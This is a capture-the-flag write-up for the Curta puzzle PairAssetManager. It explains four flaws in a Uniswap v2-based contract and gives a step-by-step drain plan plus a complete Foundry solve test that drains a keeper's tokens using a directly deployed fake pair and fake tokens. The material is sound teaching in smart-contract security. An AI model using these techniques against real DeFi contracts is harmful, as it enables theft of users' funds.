Puzzle #4
PairAssetManager
Author
0xb49bf876be26435b6fae1ef42c3c82c5867fa149
chainlight.io

Write-up for PairAssetManager

Overview

This challenge questions your understanding of Uniswap v2. By solving this puzzle, you will learn about the operational logic of Uniswap v2's factory and constant product market maker (CPMM).

Solving the puzzle

The puzzle's goal is to drain both curtaUSD and curtaStUSD from keeper, which is responsible for pricing the pair. The puzzle contains the following vulnerabilities you can exploit to drain the tokens:

  1. In onlyUniswapV2Pair, verification with codeHash can be bypassed by deploying UniswapV2Pair directly.
  2. In uniswapV2Call, if amountIn is greater than maxAmountIn, it may not revert.
  3. In uniswapV2Call, the token address passed as data may not be the same as the token of the called pair.
  4. [Optional] If a token different from the initial token specified by _createUser in _deposit is deposited, the share of the initial tokens pair will be increased.

In addition to the minimum requirement, vulnerability #4 enables stealing 1 ether - MINIMUM_LIQUIDITY additional curtaUSD and curtaStUSD from owner.

We can exploit these vulnerabilities as follows:

  1. Create a fake token and directly deploy UniswapV2Pair (i.e. without the factory).
  2. mint and sync the fake tokens with the fake pair and scale them so that PairAssetManager._getAmountIn of one token results in a large value.
  3. Call initialize to change the tokens to curtaUSD and curtaStUSD. In the usual case where the pair is deployed through Uniswap's factory, initialize can only be called once to create the pair, but since we deployed it directly, we can call initialize multiple times.
  4. Call swap on the UniswapV2Pair we deployed, and specify to as PairAssetManager and data as the token addresses to steal + the number of tokens keeper has. We can drain the tokens with the large value returned by _getAmountIn from keeper.
  5. burn all the fake tokens held by the fake pair and call sync to set the reserve to zero.
  6. Call initialize to replace the token with the fake token again, and mint and sync the other token so that its PairAssetManager._getAmountIn increases.
  7. Repeat steps 4 and 5, and drain all tokens via skim.

Solve script

Check out our solve test below for more details.

SoliditySolidity's logo.Solve.t.sol
1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.8.0;
3
4
import "forge-std/Test.sol";
5
import "../src/Curta.sol";
6
7
contract SolveTest is Test {
8
Puzzle public curta;
9
Challenge public chall;
10
UniswapV2Pair public fakePair;
11
FakeToken public fakeToken1;
12
FakeToken public fakeToken2;
13
14
function setUp() public {
15
curta = new Puzzle();
16
curta.deploy();
17
}
18
19
function testSolve() public {
20
chall = curta.factories(curta.generate(address(this)));
21
22
fakePair = new UniswapV2Pair();
23
fakeToken1 = new FakeToken();
24
fakeToken2 = new FakeToken();
25
26
fakeToken1.mint(address(fakePair), 10000 ether);
27
fakeToken2.mint(address(fakePair), 1 ether);
28
29
fakePair.initialize(address(fakeToken1), address(fakeToken2));
30
fakePair.sync();
31
fakeToken2.mint(address(fakePair), type(uint64).max);
32
fakePair.swap(
33
0,
34
1 ether - 1,
35
address(chall.assetManager()),
36
abi.encode(
37
chall.curtaUSD(),
38
chall.curtaStUSD(),
39
IERC20(chall.curtaUSD()).balanceOf(address(chall.keeper())),
40
IERC20(chall.curtaStUSD()).balanceOf(address(chall.keeper()))
41
)
42
);
43
44
fakeToken1.burn(address(fakePair), fakeToken1.balanceOf(address(fakePair)));
45
fakeToken2.burn(address(fakePair), fakeToken2.balanceOf(address(fakePair)));
46
fakePair.sync();
47
48
fakeToken1.mint(address(fakePair), 1 ether);
49
fakeToken2.mint(address(fakePair), 10000 ether);
50
fakePair.sync();
51
52
fakeToken1.mint(address(fakePair), type(uint64).max);
53
fakePair.swap(
54
1 ether - 1,
55
0,
56
address(chall.assetManager()),
57
abi.encode(
58
chall.curtaUSD(),
59
chall.curtaStUSD(),
60
IERC20(chall.curtaUSD()).balanceOf(address(chall.keeper())),
61
IERC20(chall.curtaStUSD()).balanceOf(address(chall.keeper()))
62
)
63
);
64
65
fakeToken1.burn(address(fakePair), fakeToken1.balanceOf(address(fakePair)));
66
fakeToken2.burn(address(fakePair), fakeToken2.balanceOf(address(fakePair)));
67
fakePair.sync();
68
69
fakePair.initialize(address(chall.curtaUSD()), address(chall.curtaStUSD()));
70
fakePair.skim(address(this));
71
72
IERC20(chall.curtaUSD()).transfer(
73
address(uint160(curta.generate(address(this)))), IERC20(chall.curtaUSD()).balanceOf(address(this))
74
);
75
IERC20(chall.curtaStUSD()).transfer(
76
address(uint160(curta.generate(address(this)))), IERC20(chall.curtaStUSD()).balanceOf(address(this))
77
);
78
79
curta.verify(curta.generate(address(this)), uint256(0));
80
}
81
82
function feeTo() external view returns (address) {
83
return address(0);
84
}
85
}
86
87
contract FakeToken is ERC20 {
88
constructor() ERC20("Fake", "fake") {}
89
90
function mint(address to, uint256 amount) external {
91
_mint(to, amount);
92
}
93
94
function burn(address to, uint256 amount) external {
95
_burn(to, amount);
96
}
97
}
Waterfall